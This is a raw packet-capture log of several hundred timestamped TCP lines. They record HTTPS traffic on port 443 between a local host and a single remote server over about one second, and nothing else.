Aug 21, 2024 09:39:56.341115952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.341120958 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.341212034 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.341212034 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.341604948 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.341624022 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.341702938 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.341707945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.341773033 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.417628050 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.417661905 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.417709112 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.417720079 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.417767048 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.420619011 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.420650959 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.420703888 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.420716047 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.420734882 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.420756102 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.421025991 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.421044111 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.421098948 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.421104908 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.421154022 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.421425104 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.421442986 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.421487093 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.421492100 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.421540022 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.421540022 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.423181057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.423203945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.423266888 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.423274994 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.423459053 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.427439928 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.427491903 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.427514076 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.427524090 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.427547932 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.427561998 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.427803040 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.427824020 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.427889109 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.427894115 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.427942038 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.428174973 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.428191900 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.428256035 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.428261042 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.428334951 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.503794909 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.503824949 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.503865957 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.503875017 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.503930092 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507076025 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507093906 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507148981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507158995 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507184982 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507200003 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507632971 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507656097 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507688046 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507694960 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507715940 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507739067 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507900953 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507927895 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.507983923 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.507996082 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.508081913 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.509505987 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.509524107 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.509563923 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.509572983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.509596109 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.509675980 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.514066935 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.514085054 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.514125109 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.514132023 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.514166117 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.515453100 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.515470028 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.515522003 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.515531063 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.515664101 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.515822887 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.515841007 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.515898943 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.515903950 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.515938044 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760143042 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760170937 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760224104 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760242939 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760339975 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760446072 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760466099 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760525942 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760531902 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760719061 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760809898 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760824919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760874987 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760876894 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760888100 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760909081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760930061 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760936022 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.760956049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.760973930 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.761898041 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.761913061 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.761957884 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.761964083 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.761986017 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.761998892 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.762006044 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.762018919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.762037039 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.762062073 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.763438940 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.763463020 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.763518095 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.763528109 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.763562918 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.763583899 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.763611078 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.763617039 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.763645887 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.763659954 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.764724016 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.764740944 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.764805079 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.764811993 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.764821053 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.764842033 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.764874935 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.764879942 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.764904022 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.764928102 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.766313076 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766329050 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766391039 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766393900 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.766401052 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766431093 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766444921 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.766454935 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766464949 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766489983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766494989 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.766510010 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.766534090 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.766562939 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.767359972 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767395020 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767446995 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.767453909 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767478943 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.767479897 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767497063 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.767501116 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767518044 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767539024 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.767575026 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.767579079 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.767637014 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.769009113 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.769046068 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.769093990 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.769102097 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.769126892 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.769141912 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.770268917 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.770302057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.770349026 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.770354033 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.770390987 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.770404100 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.772474051 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.772531033 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.772573948 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.772582054 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.772619009 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.772644997 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.772835970 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.772866011 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.772900105 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.772906065 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.772932053 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.772953033 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.773338079 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.773370981 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.773423910 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.773428917 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.773451090 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.773467064 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.774365902 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.774399042 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.774442911 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.774450064 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.774477005 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.774493933 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.777077913 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.777122974 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.777169943 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.777177095 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.777198076 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.777213097 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.779149055 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.779192924 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.779223919 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.779232025 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.779266119 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.779294014 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.779447079 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.779495955 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.779522896 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.779535055 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.779558897 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.779576063 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.856738091 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.856794119 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.856828928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.856842041 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.856901884 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.858933926 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.858978987 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.859008074 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.859014988 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.859061956 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.859061956 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.859575033 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.859615088 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.859642029 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.859648943 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.859674931 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.859699011 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.860081911 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.860142946 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.860156059 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.860171080 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.860198021 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.860213041 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.860804081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.860846996 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.860877037 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.860886097 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.860908031 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.860923052 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.863694906 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.863735914 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.863749981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.863759995 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.863786936 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.863801956 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.865456104 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.865485907 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.865524054 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.865534067 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.865559101 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.865577936 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.865816116 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.865837097 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.865894079 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.865902901 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.866020918 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.942962885 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.942987919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.943049908 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.943065882 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.943109989 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.945060968 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.945077896 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.945122004 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.945132971 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.945156097 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.945177078 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.945636034 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.945652962 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.945713997 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.945722103 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.945800066 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.946274996 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.946301937 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.946335077 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.946343899 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.946365118 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.946381092 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.947206974 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.947226048 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.947257996 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.947264910 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.947293997 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.947314024 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.948280096 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.948323011 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.948343039 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.948349953 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.948369026 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.948385000 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.950690031 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.950722933 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.950757027 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.950766087 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.950793028 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.950808048 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.951991081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.952008009 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.952045918 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.952053070 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:56.952081919 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:56.952097893 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.028829098 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.028856993 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.028955936 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.028973103 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.029056072 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.031318903 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.031344891 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.031413078 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.031424046 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.031452894 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.031467915 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.031877995 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.031898022 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:57.031970024 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:57.031977892 CEST	443	63778	185.199.108.133	192.168.2.6
